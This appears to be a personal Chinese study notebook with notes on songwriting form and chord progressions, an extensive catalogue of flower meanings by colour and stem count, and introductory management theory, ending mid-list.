    • 和弦转位
    • 替代和弦
    • 邻和弦
    • 持续低音

序列进行

作用

  • 让和弦持续发展
  • 在不同音响效果的和弦之间来回跳转，赋予音乐动力
  • 最主要的和声进行方式

方式

  • 功能进行
    • 稳定的和弦 ←→ 不稳定的和弦
  • 模进进行
    • 和声与旋律
    • 同时
    • 连续
  • 下行五度进行（Descending 5th）
    • 任意一个和弦开始，持续下行五度发展
    • I - IV - ⅶ° - iii - vi - ii - V - I（14736251）
    • 可以无限循环
  • 上行五度进行（Ascending 5th）
    • 任意一个和弦开始，持续上行五度发展
    • I - V - ii - vi - iii - vii° - IV - I（15263741）
    • 同样可以无限循环
    • 古典音乐常见，可以营造强烈的古典音乐之感

第四章第七节：松散主题（Loose Theme）

形式

  • 内容增写（Expansion）
  • 结构延伸（Extension）
  • 音符插入（Interpolation）
  • 功能冗余（Functionally redundancy）
  • 结构压缩（Compression）
  • 功能融合（Fusion）
  • 功能缺失（Functionally deficient）

解释

  • 按各形式字面意思理解就好

使用

  • 拥有一个紧凑型主题
  • 按照功能进行划分
  • 增加功能长度
    • 内容增写（扩展某个功能长度）
    • 结构延伸（重复某个功能）
  • 增加功能数量
    • 功能冗余（添加新的功能）
    • 音符插入（添加随意音符）
  • 减少功能长度
    • 结构压缩（减少音符数量）
  • 减少功能数量
    • 功能融合（融合两个功能）
    • 功能缺失（删掉某一功能）

第四章第八节：主歌副歌体

复习

音乐曲式

  • 二段体音乐
  • 回旋曲音乐

音乐的逻辑

  • 音乐中音乐主题有多少？
  • 如何设计不同音乐主题之间的关系？
  • 怎样安排不同音乐主题之间的演奏顺序？
  • 如何在音乐中创造对比？
  • 如何在不同段落间创造关联？
  • 音乐的调式调性要如何安排？
  • 使用什么样的逻辑来突出音乐主题？
  • 突出哪一个音乐主题？

音乐发展

  • 内在逻辑 -> 情绪表达
  • 高雅艺术 -> 平民艺术

主歌副歌体（Verse-Chorus Form）

可能的形式

  • 开头
  • 主歌
  • 预副歌
  • 副歌
  • 后副歌
  • 间奏
  • 主歌
  • 预副歌
  • 副歌
  • 后副歌
  • 间奏
  • 预副歌
  • 长副歌
  • 后副歌
  • 结尾
  • 尾声

必要结构

  • 主歌
  • 副歌
  • 主歌
  • 副歌
  • 间奏
  • 长副歌

第四章第九节：主歌副歌体的书写

一级段落（Primary Modules）

  • 副歌

二级段落（Secondary Modules）

  • 主歌
  • 预副歌
  • 后副歌
  • 间奏

辅助段落（Auxiliary Modules）

  • 开头
  • 结尾
  • 尾声

主歌，副歌和间奏的写法

主歌与副歌

主歌副歌
情绪功能积累情绪释放情绪
段落功能发展
展示，发展，变化		重复
展示，重复，微调，再现
终止较弱的终止
释放张力		起，停，顿，挫
传递情绪
和声功能属，下属
推进音乐发展		主功能
强调调性特征
和声形式相对简单相对复杂
加厚织体，分解和弦，和声装饰

主歌与副歌的书写

  • 书写两个主题
  • 调整
    • 旋律：音符，音域，时长，装饰，织体厚度
    • 和声：稳定性，分解和弦音型，织体厚度，和声装饰
  • 修改与聆听

间奏的书写

  • 明确的段落感
  • 做法
    • 新的内容（旋律， 和声，结构）
    • 平静的情绪（悠长旋律，平静和声）
    • 可以没有终止
  • 结构
    • 可以没有结构
    • 随意书写音符，频繁模进重复，连续分解和弦

开头（Introduction）

  • 营造基本的情绪氛围
    • 没有终止，或者 HC 终止
    • 结构松散，或者没有结构
    • 没有乐思，没有重复，没有发展，没有终止
  • 具体做法
    • 使用副歌的乐思
    • 使用主歌的乐思
    • 使用新的音符 + 模进进行

预副歌（Pre-Chorus）

  • 连接主歌与副歌，积累情绪
    • 完成主歌到副歌的过度
    • 转调
    • 连续的属功能，强化紧张情绪
  • 可选的结构
    • 使用预副歌：过渡自然，结构完整
    • 不使用：增强前后段落的对比

后副歌（Post-Chorus）

  • 连接副歌与间奏
    • 少见
    • 延长副歌的时长
    • 强化副歌的地位
  • 做法
    • 重复副歌
    • 降低音乐的情绪特征
    • “啦啦啦啦，啦啦啦啦，啦啦啦啦，啦啦啦啦....”

结尾（Outro）

  • 降低张力，结束音乐
    • 没有新的素材，内容简单
    • 稳定的主功能和弦，稳定的旋律，稳定的节奏
    • 速度放缓
  • 作用
    • 使用尾声：结束自然，避免突兀
    • 不使用：余音绕梁，三日不绝

尾声（Coda）

  • 在结尾以后，添加新的音乐内容
    • 让音乐完整
    • 给音乐添加新意
    • 音乐的“彩蛋”
  • 罕见，非常罕见

诗词格律

所有诗词格律有关内容，收录于此。

诗韵

平仄

词牌名

花语

所有花语内容，收录于此。

因地区认知差异，部分花语可能存在差异。

其他

杏花

  • 诱惑
  • 娇羞

薰衣草

  • 等待爱情
  • 紫蓝色的情怀
  • 等待无望的爱

含羞草

  • 害羞
  • 敏感
  • 礼貌

绣球花

  • 希望
  • 美满
  • 团圆（中国）
  • 无情
  • 残忍（英国）

昙花

  • 剎那的美丽
  • 一瞬的永恒
  • 月下美人
  • 虛幻美

扶桑

  • 新鲜的恋情
  • 体贴
  • 细腻的美丽
  • 相信你

圣诞红

  • 祝福
  • 我的心在燃烧

桂花

  • 吸入你的气息
  • 友好
  • 吉祥

桔梗

  • 幸福的爱
  • 永恒的爱
  • 绝望的爱

枫树

  • 自制
  • 拘谨

月桂

  • 胜利
  • 不诚实

山月桂

  • 期望

月桂树

  • 名誉

黄杨

  • 不屈不挠

白杨

  • 无所畏惧（正）
  • 莫名而未知的恐惧（负）

黑色白杨木

  • 勇气

香桃木

  • 爱情蜜语

松

  • 健康
  • 长寿

落叶松

  • 大无畏精神

柳树

  • 愁伤

橡树

  • 友善可亲

榆树

  • 高贵

食虫植物（猪笼草、瓶子草等）

  • 危险

西洋耧斗菜

  • 愚者

金盏花

  • 浪漫
  • 一丝不苟
  • 无私
  • 勇敢的爱

金橘

  • 招财进宝

金银花（又名忍冬，金银藤）

  • 献爱
  • 诚爱

金雀花

  • 谦逊
  • 卑下

金雀儿

  • 谦逊

金缕梅

  • 灵感

角松

  • 永恒的爱与约定

蓝花楹

  • 绝望中等待爱情

白茶

  • 无暇

白头翁

  • 命运

红花

  • 差别

红豆

  • 相思

紫苑

  • 回忆

红掌

  • 大展宏图

薄荷

  • 再爱我一次
  • 愿再次与你相遇
  • 永不消失的爱

薄雪草

  • 念念不忘

大理花

  • 善变
  • 不安定的心

大丽花

  • 大吉大利
  • 华丽

大岩桐

  • 欲望

大花草

  • 难以逃避的

满天星

  • 关心
  • 纯洁
  • 喜悦
  • 思念
  • 配角
  • 背后的爱

勿忘我

  • 永不变心

李花

  • 纯洁

林檎

  • 引诱

毛茛

  • 孩子气

常春藤

  • 友情

石楠花

  • 庄重

卡多利亚

  • 你真美

孔雀草

  • 总是兴高采烈

马蹄莲

  • 忠贞不渝
  • 永结同心
  • 吉祥如意

爱丽丝

  • 勇于追求爱情
  • 稳重

橙花

  • 贞洁

雪割草

  • 忍耐

风铃草

  • 温柔的爱
  • 创造力
  • 来自远方的祝福
  • 感谢
  • 嫉妒
  • 永远的羁绊

鸡冠花

  • 多色的爱
  • 热切期盼
  • 我引颈等待

龙胆花

  • 喜爱看忧伤时的你（好变态）

凤仙花

  • 惹人爱

柏树

  • 永葆青春

枫树

  • 赤心坦诚
  • 谢绝

圣光花

  • 光的庇佑

灯心草

  • 温顺

柠檬草

  • 开不了口的爱

麒麟草

  • 警戒

狗尾巴草

  • 暗恋

时钟花

  • 爱在你身边

油桐花

  • 情窦初开

棉花

  • 温暖
  • 优秀

串铃花

  • 悲恋

吊钟花

  • 再试一下

豆蔻花

  • 别离

芙蓉

  • 精美娇艳

迷迭香

  • 留住回忆

附子

  • 敬意

芍药

  • 美丽动人
  • 依依不舍
  • 难舍难分

晚香玉

  • 危险的欢愉

解语花

  • 温婉
  • 恬静
  • 美丽绝尘

仙人掌

  • 坚强

海棠花

  • 温和
  • 美丽
  • 海棠无香，是因为暗恋去了，怕人闻出心事，所以舍了香

天堂鸟

  • 无论何时何地，永远不要忘记你爱的人在等你

月下香

  • 明艳照人的美女

含笑花

  • 美丽
  • 庄重
  • 含蓄
  • 矜持
  • 纯贞
  • 高洁

桃花

  • 爱情俘虏

紫恋花

  • 万花之中，偏偏爱你

素馨

  • 劫后重生的爱

蝶舞

  • 支离破碎的爱

蕾丝花

  • 惹人怜爱

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

康乃馨（所有女性的神圣之花，美好典雅的典范）

通用花语

  • 母亲我爱您（母亲节用）
  • 热情
  • 真情

红色

  • 相信你的爱

粉红

  • 热爱
  • 亮丽

白色

  • 吾爱永在
  • 真情
  • 纯洁

黄色

  • 蔑视
  • 拒绝
  • 抛弃
  • 你让我失望
  • 友情深厚
  • 对母感恩

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

玫瑰

通用花语

  • 爱情
  • 爱与美
  • 容光焕发
  • 纯洁的爱
  • 美好常在

颜色

红色

  • 热情
  • 我爱你
  • 求爱
  • 热恋
  • 热爱着你

粉红

  • 初恋
  • 求爱
  • 感动
  • 铭记于心
  • 诱惑
  • 恋之告白（花蕾）
  • 怀孕（大型花）

白色

  • 天真
  • 纯洁
  • 尊敬
  • 谦卑
  • 美丽

黄色

  • 道歉（常用）
  • 珍重祝福
  • 已逝的爱
  • 失恋
  • 不贞
  • 嫉妒
  • 分手
  • 纯洁的友谊
  • 笑着离别（小型花）
  • 您没诚意（中型花）
  • 有夫之妇（带刺）

绿色

  • 纯真
  • 希望
  • 青春常驻
  • 天真的爱

蓝色

  • 神秘
  • 妖娆
  • 恒心
  • 坚毅
  • 珍贵
  • 敦厚善良
  • 奇迹与不可能之事
  • 无法得到

蓝色妖姬1

  • 清纯的爱
  • 敦厚善良
  • 浪漫・相遇（双枝）
  • 铭记・爱恋（三枝）

紫色

  • 珍惜的爱
  • 浪漫真情
  • 珍贵独特
  • 忧郁
  • 梦幻
  • 爱做梦

靛色

  • 珍贵
  • 珍稀的爱

橘黄

  • 青春美丽
  • 友情
  • 感性

淡绿

  • 纯真
  • 俭朴
  • 赤子之心

红白双色2

  • 共有
  • 战争

红黄双色2

  • 快乐

橙红

  • 初恋的心情
  • 友情
  • 青春美丽

黑色

  • 你是恶魔且为我所有
  • 温柔真心
  • 神秘高贵

捧花

  • 幸福之爱

香槟

  • 和你在一起是我的骄傲
  • 我只钟情你一个

麝香

  • 善变
  • 飘忽之爱
  • 飘忽之美

圣诞

  • 我无法给你任何东西

彩虹

  • 浪漫
  • 梦幻
  • 幸福
  • 开心
  • 华丽
  • 高贵

花苞

  • 美丽与青春

洛丽玛丝

  • 死的怀念

注意

  1. 蓝色妖姬颜色偏淡，蓝色则颜色较浓
  2. 单枝混色，双枝混色均可
  3. 所有花语结合枝数使用，视情况取花意

枝数

1 朵

  • 我心中只有你
  • 相守是一种承诺（蓝色妖姬）

2 朵

  • 世界只有我们两个
  • 相遇是一种宿命（蓝色妖姬）

3 朵

  • 我爱你（3 个字）
  • 你是我最深的爱恋（蓝色妖姬）

4 朵

  • 至死不渝

5 朵

  • 由衷欣赏
  • 无怨无悔

6 朵

  • 互敬
  • 互爱
  • 互谅
  • 你是我的最爱（蓝色妖姬）

7 朵

  • 一说：我偷偷爱着你
  • 另一说：初恋
  • 无尽的祝福（蓝色妖姬）

8 朵

  • 感谢关怀扶持与鼓励

9 朵

  • 一说：长相守
  • 一说：另想和你一辈子

10 朵

  • 十全十美
  • 无懈可击

11 朵

  • 一说：最爱只在乎你一个
  • 另一说：一生一世只爱你一个
  • 一心一意（蓝色妖姬）

12 朵

  • 对你的爱与日俱增
  • 12 枝蓝色妖姬 + 满天星
    • 挑逗你
    • 诱惑你
    • 宠爱你
    • 纵容你

13 朵

  • 我暗恋着你
  • 友谊长存（存疑）

14 朵

  • 骄傲

15 朵

  • 一说：对你感到歉意
  • 另一说：月圆之夜

16 朵

  • 一说：多变不安的爱情
  • 另一说：拜倒在你石榴裙下

17 朵

  • 一说：绝望无可挽回的爱
  • 另一说：你是我的妻子

18 朵

  • 一说：真诚与坦白
  • 另一说：祝你永远青春美丽

19 朵

  • 一说：忍耐与期待
  • 另一说：期待长久

20 朵

  • 我仅一颗赤诚的心

补充

  • 20 枝以上暂不收录

趣闻

  • 玫瑰、蔷薇与月季之间难以分辨
  • 当代人们印象中的玫瑰，其实多是月季
  • 玫瑰、蔷薇与月季的英文名都为 Rose
    • Rose 最初指代的，是蔷薇科植物
    • 三种花同属该科，所以英文名相同
  • 真正正统的玫瑰
    • 与印象中的玫瑰形态差异较大，而且很少见
  • 虽说这些知识没什么用就是了
  • 黄色玫瑰最常用于道歉，记住这一点就好了

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

蔷薇

通用花语

  • 坚强

红色

  • 热恋
  • 高贵而美丽

粉白

  • 爱的誓言
  • 美丽的邂逅
  • 单纯而可爱
  • 执子之手，与子偕老

白色

  • 纯洁的爱情
  • 神秘而凄凉
  • 冷漠

黄色

  • 永恒的微笑
  • 自信而善良

深红

  • 只想与你在一起

野蔷薇

  • 浪漫的爱情
  • 悔过

圣诞

  • 追忆的爱情

黑色

  • 绝望的爱
  • 自尊而坚强
  • 孤傲

粉红

  • 我要和你过一辈子（最初的故事）

蓝色

  • 不可能
  • 梦幻美丽
  • 沉着而温柔

血色

  • 破碎

绿色

  • 纯真朴素
  • 好强而重情

紫色

  • 禁锢的幸福
  • 美丽而执着
  • 悲怆

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

兰花

香罗兰

  • 困境中保持贞节

紫罗兰

  • 请相信我
  • 永恒的美
  • 无尽的爱

吊兰

  • 朴素
  • 天真
  • 淡雅
  • 纯洁
  • 希望
  • 宁静

蝴蝶兰

  • 高雅
  • 博学

龙舌兰

  • 为爱付出一切

剑兰

  • 幽会
  • 用心
  • 坚固

铃兰（白）

  • 幸福即将到来

葱兰

  • 期待
  • 洁白的爱

火花兰

  • 忘不了的人

金栗兰

  • 隐约之美

姜兰

  • 无聊

石斛兰

  • 父亲之花（父亲节送）

君子兰

  • 高贵
  • 宝贵
  • 丰盛
  • 有君子之风

文心兰（跳舞兰）

  • 美丽活泼
  • 快乐
  • 隐藏的爱

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

菊花

通用花语

  • 清净
  • 高洁
  • 我爱你
  • 真情

翠菊

  • 追想
  • 可靠的爱情
  • 请相信我

双瓣翠菊

  • 我与你共享哀乐

春菊

  • 为爱情占卜

六月菊

  • 别离

冬菊

  • 孤傲绝俗
  • 别离

法国小菊

  • 忍耐

瓜叶菊

  • 快乐
  • 喜悦快活

波斯菊

  • 纯真并永远快乐着
  • 野性美

木苘蒿

  • 藏在心中的爱

大波斯菊

普通

  • 少女纯情
  • 少女真心

白色

  • 纯洁

红色

  • 坚强

（洋）甘菊

  • 苦难中的力量

万寿菊

  • 友情

矢车菊

  • 纤细
  • 优雅
  • 单身的幸福

麦杆菊

  • 永恒的记忆
  • 刻画在心

鳞托菊

  • 永远的爱

雏菊（延命菊）

  • 开朗
  • 离别
  • 暗恋
  • 和平
  • 希望
  • 天真
  • 美人
  • 清纯
  • 谜

非洲菊（扶郎花）

  • 神秘
  • 兴奋

蓝色水菊

  • 善变固执无情的你

玛格烈菊

  • 预言

白日菊

  • 永失我爱

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

百合花

通用花语

  • 顺利
  • 心想事成
  • 友情
  • 祝福
  • 高贵
  • 百年好合

香水

  • 纯洁
  • 婚礼的祝福
  • 高贵
  • 圣洁的友谊

白色

  • 纯洁
  • 庄严
  • 心心相印

葵

  • 胜利
  • 荣誉
  • 富贵

姬

  • 财富
  • 荣誉
  • 清纯
  • 高雅

火百合（红）

  • 奔放的热情

狐尾

  • 尊贵
  • 欣欣向荣
  • 杰出

玉米

  • 执著的爱
  • 勇敢

编笠

  • 才能
  • 威严
  • 杰出

圣诞

  • 喜洋洋
  • 庆祝
  • 真情

水仙

  • 喜悦
  • 期待相逢

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

风信子

通用花语

  • 重生的爱
  • 崭新的爱
  • 永远的怀念
  • 胜利
  • 竞技
  • 得意

紫色

  • 悲伤
  • 忧郁的爱
  • 道歉
  • 后悔
  • 幸福美满

淡紫

  • 轻柔的气质
  • 浪漫的情怀
  • 悲伤

白色

  • 暗恋
  • 纯洁清淡或不敢表露的爱

红色

  • 感谢你
  • 让人感动的爱

桃红

  • 热情

粉色

  • 倾慕
  • 浪漫

黄色

  • 有你我就很幸福

蓝色

  • 高贵浓郁
  • 恒心
  • 贞操
  • 彷佛见到你一样高兴

深蓝

  • 因爱而有些忧郁

淡绿

  • 如果你想没有秘密，必先拥有善良的心

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

牡丹

通用花语

  • 圆满
  • 浓情
  • 富贵
  • 雍容华贵

白色

  • 王者风范
  • 对美好事物的追求和向往

绿色

  • 期待的新生

秋牡丹

  • 生命
  • 期待
  • 淡淡的爱

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

杜鹃

通用花语

  • 爱的欣喜
  • 节制
  • 节制欲望
  • 永远属于你

白色

  • 被爱的欣喜

杜鹃花箴言

  • 当见到满山杜鹃盛开，就是爱神降临的时候

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

梅花

通用花语

  • 坚强
  • 傲骨
  • 高雅
  • 高洁

红梅

  • 坚贞不屈
  • 欺霜傲雪
  • 艳丽迷人

白梅

  • 纯洁
  • 坚贞不屈

腊梅

  • 纯洁
  • 坚强
  • 默默无闻
  • 无私奉献

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

荷花

通用花语

  • 清白
  • 坚贞纯洁
  • 忠贞和爱情
  • 孤傲
  • 冰清玉洁
  • 自由脱俗

银荷花

  • 期待
  • 没有结果的恋情

白荷花

  • 怀念
  • 恋情的喜悦

雪片莲（雪滴花）

  • 勇往直前的力量

陆荷花

  • 谴责

蓝荷花

  • 能使人死而复生（？）

红荷花

  • 父亲之花
  • 坚毅
  • 勇敢
  • 坚定
  • 冷静
  • 以及红荷花所象征的
    • 浓烈
    • 绝望
    • 破裂
    • 不惜一切

雪莲

  • 清韵出尘
  • 纯洁的爱

黄荷花

  • 纯洁
  • 宁静
  • 祥和

青荷花（又名青莲）

  • 清正廉洁
  • 隐逸
  • 象征文人（青莲居士李白）

紫荷花

  • 浪漫
  • 清纯
  • 销魂
  • 甜美的爱

睡莲

  • 依赖
  • 纯洁
  • 甜美
  • 清纯无邪
  • 美梦
  • 暂时碌碌无为后再度一鸣惊人

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

葵花

天竺葵

通用花语

  • 偶然的相遇

红色

  • 你在我脑海挥之不去

粉红色

  • 很高兴能陪在你身边

向日葵

  • 沉默的爱
  • 光辉
  • 忠诚
  • 爱慕
  • 信念

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

樱花

通用花语

  • 生命
  • 纯洁
  • 幸福一生一世永不放弃
  • 命运的法则就是循环

山樱

  • 向你微笑
  • 精神笑

西洋樱花

  • 善良的教育

冬樱花

  • 东方的神秘

重瓣樱花

  • 文静

山樱花

  • 纯洁
  • 高尚
  • 淡薄

樱花草

  • 除你之外别无他爱

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

三叶草

一叶（代表祈求）

  • 真爱
  • 希望

二叶（代表希望）

  • 健康
  • 信心

三叶（代表爱情）

  • 名誉
  • 爱情

四叶（代表幸福）

  • 财富
  • 幸运

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

郁金香

通用花语

  • 爱的表白
  • 荣誉
  • 祝福永恒

红色

  • 爱的宣言
  • 喜悦
  • 热爱

粉色

  • 美人
  • 热爱
  • 幸福

黄色

  • 高贵
  • 珍重
  • 财富
  • 绝望之爱
  • 拒绝
  • 你的笑容里含着阳光
  • 对没有希望的爱情表示同情

紫色

  • 无尽的爱
  • 最爱
  • 永恒的爱

白色

  • 纯情
  • 纯洁

双色

  • 美丽的你
  • 喜相逢

羽毛

  • 情意绵绵

郁金香箴言

  • 走出孤独，自然会邂逅永恒的爱情

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

丁香花

别名

  • 龙百花

通用花语

  • 光辉灿烂

白色

  • 纯洁

红色

  • 想起初恋的她
  • 羞怯

大丁香

  • 神秘

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

蒲公英

通用花语

  • 开朗
  • 属性风
  • 停不了的爱
  • 无法停留的爱
  • 永不止息的爱

红色（别名紫天使）

  • 天涯海角
  • 至死不渝

紫色

  • 传说的紫色（有典故）
  • 属性暗

飞箭

  • 属性风

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

牵牛花

通用花语

  • 爱情
  • 冷静
  • 虚幻

矮牵牛

  • 安全感
  • 与你同心
  • 有你我就觉得温馨

爱丽丝

  • 勇于追求爱情
  • 稳重

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

水仙花

中国水仙

  • 多情
  • 想你
  • 尊敬

西洋水仙（风信子）

  • 期盼爱情
  • 爱你
  • 纯洁

黄水仙

  • 重温爱情

山水仙

  • 美好时光
  • 欣欣向荣

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

鸢尾

鸢尾（爱丽丝）

  • 好消息
  • 想念你
  • 优美使者
  • 信仰者的幸福

德国鸢尾

  • 神圣

小鸢尾

  • 协力抵挡
  • 同心

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

金鱼草

通用花语

  • 活泼傲慢
  • 多嘴
  • 多管闲事

红色

  • 鸿运当头

黄色

  • 金银满堂

紫色

  • 大红大紫

粉色

  • 花好月圆

姬金鱼草

  • 请察觉我的爱意

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

苜蓿

读音

  • mù xu

通用花语

  • 誓言

苜蓿（紫色）

  • 幸运（因为难得一见）

苜蓿草

  • 快乐

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

石竹花

通用花语

  • 纯洁的爱
  • 才能
  • 大胆
  • 女性美

丁香石竹

  • 大胆
  • 积极

五彩石竹

  • 女性美

香石竹（又名康乃馨）

  • 热心

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

火鹤

通用花语

  • 薪火相传

白色

  • 纯洁
  • 平谧
  • 带来安泰

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

海芋

白色

  • 青春活力（同学、朋友）

红色

  • 我喜欢你（爱情）

黄色

  • 情谊高贵（挚友）
  • 志同道合（挚友）

粉红

  • 诚意

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

彼岸花

曼珠沙华（红色彼岸花）

  • 无望的爱
  • 相互思念
  • 分离
  • 伤心
  • 不吉祥
  • 死亡之美
  • 悲伤的回忆

曼陀罗华（白色彼岸花）

  • 绝望的爱情

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

夹竹桃

粉色

  • 危险的边缘

黄色

  • 深刻的友情

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

堇花

非洲堇

  • 关怀我吧

三色堇

普通三色堇

  • 思念
  • 思虑
  • 沉思
  • 快乐
  • 请思恋我

黄色三色堇

  • 忧喜参半
  • 属性土

紫色三色堇

  • 沉默不语
  • 属性暗

红色三色堇

  • 思虑
  • 思恋

大型三色堇

  • 束缚

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

管理学

收录所有管理学有关内容。

学习管理学初衷在于，管理自己的时间和精力，若再奢望一点，透过管理学，看能否组建一个团队。

概论

管理是什么

  • 形式多种多样
  • 核心内容是协调

管理的功能

  • 通过科学的方法提高资源的利用率
  • 以有限的资源实现尽可能多的欲望

重要理念

价值取向

目标定位

前提

具体问题具体分析，学会说“很难说”

管理学是科学

管理活动是艺术

衡量管理的好坏（管理有效性原理）

  • 效益（目标达成度，永远是第一位）
    • 做得有多对
  • 效率
    • 做得有多快
  • 效率+效益=效果（做好对的事）

管理学特点

  • 一门应用性理论课
  • 学习方法
    • 读经书
    • 交高人
    • 勤实践
    • 善思考

管理产生的根本原因

  • 人欲望的无限性
  • 人资源的有限性

协调的方法

  • 生产
  • 组织
  • 战争
  • 贸易
  • 道德
  • 管理

运用理论解决实际问题

  • 知晓理论内容
  • 了解理论的适用前提和运用方法
  • 问题分析
    • 将实际问题抽象为理论问题
    • 根据理论阐述设计调研方案
    • 根据调研方案进行实际问题调研
    • 根据调研结果梳理真正的问题
    • 针对真正的问题寻找理论支持
    • 根据相应理论结合实际提出解决方案
    • 按解决方案逐步解决实际问题
    • 根据时间结果总结提炼知识和丰富理论
  • 分析方法：实际问题抽象成理论问题，寻找相应的理论依据 据此分析判断实际问题，并得出相应分析结论
  • 分析结构：重要的不是结论而是原因，分析师要以理论为假设，以事实为依据

科学解决管理问题的基本方法

面对一件事时的思维方式

  • 这是一件什么事 —— 询问调查
  • 这件事是否需要解决
    • 判断依据：价值取向和目标定位
  • 这件事应该由谁做
    • 判断依据：角色定位和职责分工
  • 这件事可以什么时候做
    • 判断依据：紧急程度和重要程度
    • 基本原则：要事优先
  • 这件事能不能做，怎么做
    • 判断依据：计划，制定和评审

管理的实质

  • 定义：人们为了有效地实现目标而采用的一种手段
  • 注意：
    • 管理不是目的，即不能为了管理而管理
    • 管理是手段，所以效果取决于管理者的水平

规章制度

定义

  • 规章制度是一种组织行为规范

目标导向

  • 规章制度只是一种手段，不能为了维护其严肃性而置组织目标于不顾
  • 既要照章处理，又要考虑特殊情况

典型情况

  • 不小心办错事：照章处理
  • 合理不合法：根据目标有利程度确定
  • 好心办坏事：照章处理，适当安慰
  • 王子犯法：照章处理，注重时机和方式
  • 无心违章：根据目标有利程度确定

解决管理问题的基本思维方式

  • 如何思考回答？
    • 很难说——具体问题具体分析
    • 方法：具体问题具体分析
      • 这是一件什么事
      • 这是一个什么人
      • 这是一个怎样的组织
  • 解决到何种程度？
    • 统统摆平——目标导向，综合协调
    • 方法
      • 破除“非此即彼”的思维方式
      • 树立“兼容并蓄”的思维方式
  • 应该从何着手？
    • 责任在我——从认识自我、改变自我做起
    • 方法
      • 反思和总结
      • 做出行为调整

作用

  • 提高效率
  • 落实导向
  • 保证做对的事情
  • 把事情做得更好

处理原则

  • 一般情况，照章处理
  • 特殊情况，酌情处理
    • 酌情原则和特殊情况界定
    • 特殊范围
      • 目标一致
      • 规章失效
    • 酌情原则
      • 目标有利原则
    • 前提
      • 情况紧急且条件确定

组织

构成要素

  • 群体
  • 共同目标
  • 系统结构
    • 规章制度
    • 分工
    • 职位职权
    • ……

创立的充要条件

  • 领导人发起
  • 共同协作的意愿
  • 广泛的信息沟通

建立的原因

  • 目标仅靠个人无法达成
  • 克服个人力量的局限性

运行机制

  • 能力互补
  • 志同道合
  • 分工协作
  • 负责人组阁制
  • 行政任命制

组织成员

成员关系

  • 组织本质上说是一个利益共同体
  • 个人目标实现程度取决于通过群体努力而得到的组织目标的实现程度
  • 个人 -> 群体努力 -> 组织目标 -> 个人目标 -> 个人

合格成员

  • 认同理念
  • 分工协调
  • 团队意识
  • 承担责任

优秀成员

  • 主动性
  • 责任心
  • 全局观
    • 全局定位
    • 调动全局资源
    • 利益分配

组织绩效

管理环境

  • 存在于组织内部或外部、影响组织目标实现的各条件因素的总和。

外因

  • 任务环境因素（直接）
    • 供应商
    • 顾客
    • 竞争对手
    • 主管部门
    • ……
  • 一般环境因素（间接）
    • 政治
    • 经济
    • 社会
    • 技术
    • ……

内因

  • 经营条件因素（直接）
    • 人力资源
    • 资金
    • 品牌
    • 资源
    • 能力
    • 知识
    • ……
  • 组织文化因素（简介）
    • 核心价值观
    • 目标定位
    • 经营管理理念
    • 行为规范
    • ……

注意

  • 一个因素是不是环境因素，是怎样的环境因素，取决于该组织的目标定位

组织管理

功能

  • 让一群平凡的人能创造出不平凡的组织绩效

要点

  • 定位：价值观和发展目标
  • 激励：调动能动性，使其充满创造力
  • 规范：明确规范，建立信任，并以此为组织运作的基础

组织结构

基本部分

  • 高层管理
  • 中层管理：指导协调
  • 技术支持：提供业务支持，适应环境
  • 行政支持：组织保养
  • 技术核心：基础工作

常见组织结构

  • 直线职能制
  • 事业部制
  • 模拟分权制
  • 矩阵制
  • 项目组
  • 委员会

组织设计

基本理论

  • 古典组织理论
    • 工作中心，权力维系
  • 行为组织理论
    • 注重人际关系，行动自由，发挥潜力
  • 系统组织理论
    • 根据内外环境设计

设计过程

  • 岗位设计：工作专业化
  • 部门化：工作归类
  • 管理幅度：形成组织层级

影响因素

  • 发展战略
  • 发展阶段
  • 外部环境稳定性
  • 业务特点
  • 组织规模
  • 人力资源状况

人员配备原则

  • 应该能满足组织的需要
  • 应该考虑组织成员的需要
  • 学会从 疑人敢用、用人要疑 走向 用人不疑、疑人不用

管理者

存在的前提

  • 外部环境不确定
  • 资源有限且短缺

特征

  • 一种组织角色
  • 从事管理工作，旅行管理四大职能
  • 有直接下属，负责指挥开展工作
  • 管理者是组织中组织开展管理工作并对此负责的人

职责

  • 在给定条件下求解

  • 高层管理者

    • 对组织负全责，侧重内外部联系，重大问题决策
    • 更关注 效益

  • 中层管理者

